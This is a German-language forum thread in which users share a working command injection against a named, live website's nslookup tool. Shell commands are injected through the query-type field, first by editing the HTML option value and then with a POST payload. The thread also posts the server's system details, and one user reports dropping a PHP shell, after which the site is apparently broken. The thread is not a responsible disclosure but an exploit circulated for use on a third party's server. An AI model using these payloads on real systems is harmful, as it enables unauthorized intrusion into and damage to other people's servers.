8 Antworten in diesem Thema

[Zero-X]

URL:

https://networking.ringofsaturn.com/Tools/nslookup.php

Bei "Hostname" geben wir einen beliebigen Domainnamen ein.

"Query Type" ändern wir mit der Funktion "Element untersuchen" im Firefox folgendermaßen um:

<option value=";ls;">;ls;</option>

Dann klicken wir auf "Submit".

 

[ProHex]

Nice gefunden. 

 

FreeBSD tethys.ringofsaturn.com 11.1-STABLE FreeBSD 11.1-STABLE #12 r331093: Sun Mar 18 13:32:07 CDT 2018 root@tethys.ringofsaturn.com:/usr/obj/usr/src/sys/GENERIC amd64

 

 

<option value=";ls;">;ls;</option>

 

Den Value ändern versteh ich noch. Aber warum was zwischen dem <option> tag steht?

 

 

 

[Zero-X]

Normal reicht es, den Parameter bei Value zu ändern. Das beim Option-Tag habe ich nur wegen der besseren Übersicht gemacht

[SecurityFlaw]

So gehts doch auch:

https://networking.ringofsaturn.com/Tools/nslookup.php | POST: domain=127.0.0.1&server=tethys.ringofsaturn.com&querytype=;ls -a;

EDIT: "ls -all" zeigt mehr an

Bearbeitet von SecurityFlaw, 03 April 2018 - 20:37 Uhr.

[sub0]

Hab mich durchgekämpft und 'ne php Shell gedroppt. Na, fällt euch was auf?

[pi^2]

hat wohl jemand was kaputt gemacht ...

 

weniger deface, mehr wissensmenge sammeln, "durchkämpfen" ist bei ner OSCI wohl nicht so schwer, soweit ich weiß: ../links.php owner: www => hätte man hier nurn snippet adden müssen.

[sub0]

Ich, zu meiner Person: habe weder irgendein defacement, noch irgendwas kaputt gemacht.

 

Aber danke für deinen Ratschlag mehr Wissen zu sammeln.

[SecurityFlaw]

Passiert leider häufig, das veröffentlichte Sicherheitslücken zum Verlust des Servers führen.

Musste wohl wieder jemand kaputtspielen was?

[Zero-X]

Wenn man eine Sicherheitslücke auf einer Seite public macht, muss man damit rechnen das Unsinn damit gemacht wird. Ich finde so etwas unfair den Leuten gegenüber die  anhand der Lücke noch etwas lernen wollen.